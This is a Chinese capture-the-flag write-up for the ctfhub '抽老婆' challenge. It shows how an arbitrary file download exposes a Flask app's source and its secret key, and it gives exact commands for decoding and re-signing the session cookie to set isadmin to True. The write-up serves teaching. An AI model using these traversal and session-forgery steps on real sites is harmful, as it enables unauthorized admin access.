首页 > 其他分享 >ctfhub 菜鸟杯 抽老婆 超详细 复现

ctfhub 菜鸟杯 抽老婆 超详细 复现

时间:2022-11-16 18:46:05浏览次数:44  
标签:__ return ctfhub 菜鸟 app flask flag session 复现

一进来发现可以抽老婆,下面还有个下载按钮,有意思还可以吧,把老婆抱回家

 

 

 

然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥

 

 

 在里面发现source文件在/app/app.py里面,

 

 

 用之前发现的任意文件下载下载下来

 

 

 

 

 

 然后查看源码

# Author     :g4_simon
from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK

session安全问题

flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录

flask脚本链接:https://github.com/noraj/flask-session-cookie-manager

注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题

具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
 
app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

  解密:找到秘钥后,去解密,解密格式如下:

python3 flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'

  然后就得到密文了

 

 

      加密:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码

 if session['isadmin']:#如果是真isadmin,就可以拿到flag,如果假flag就输出下面的
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

  加密格式:

python3 flask_session_cookie_manager3.py encode  -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}"

  特别注意后面需要"双引号"单引号不能成功

生成密文:

 

 最后把密文添加到cookie就可以成功获取flag了

补充说明:

 

 这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”

 



标签:__,return,ctfhub,菜鸟,app,flask,flag,session,复现
From: https://www.cnblogs.com/xxpanda/p/16897102.html

相关文章

  • 前端菜鸟玩Servlet
    简介Servlet(ServerApplet)。是用Java编写的服务器端程序。其主要功能在于交互式地浏览和修改数据,生成动态Web内容。狭义的Servlet是指Java语言实现的一个接口,广义的Servl......
  • 强网拟态2022 MIMIC复现
    MIMIC‍pwn1​送了程序地址,格式字符串漏洞爆stack、canary,有后门,然后ret2libcexp:#encoding=utf-8frompwnimport*frompwnlib.ropimport*frompwnlib.cont......
  • [复现]2021VNCTF-RE
    notsudoku一看图标就知道是python写的exe​先查壳,有upx壳​脱壳​正常的py逆向过程​恢复​pyc->py​得到源码:#uncompyle6version3.8.0#Pythonbyteco......
  • ctfhub web技能树 RCE-eval执行
    ctfhubweb技能树RCEREC的简介这边大佬有详解:https://blog.csdn.net/qq_43814486/article/details/90020139 eval执行一、打开题目   二、查看题目信息 题......
  • [复现]2021VNCTF-pwn
    hh这个vmpwn就不做了叭,好麻烦White_Give_Flag这里是申请了一个随机大小的堆块​先是把flag读进heap里面,然后free掉,进入程序看发现进入菜单之前,flag在topheap中,只要申......
  • gitlab上传代码,菜鸟教学
    1、首先需要在gitlab上新建项目2、编辑项目名称 3、在本地电脑上新建一个空的文件夹(或者是一个固定统一的文件夹),方便后续找到,这里会将gitlab的项目拉到这个文件内。......
  • 肖sir___公司 菜鸟网络面试___面试题
    ==================================7.26号 1.Java里面的stringbuffer和stringbuilder的区别是什么?==》StringBuffer和StringBuilder都是可变的字符串,也就是说,在对字......
  • 基于像素预测和位平面压缩的加密图像可逆数据隐藏附matlab代码(论文复现)
    ✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进。......
  • 渗透测试的复现任务
    流程报告(WalkThroughWriteUp)一、漏洞渗透测试按照复现内容首先将easyfilesharingserver拖移到靶机(Windows)并解压然后在kali虚拟机中使用nmap—sV目标IP地址得到......
  • CVE-2017-7921 漏洞复现
    声明本文内容仅供学习交流使用,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。 一、漏洞介绍1.许多HikvisionIP相机包含一个后门,允......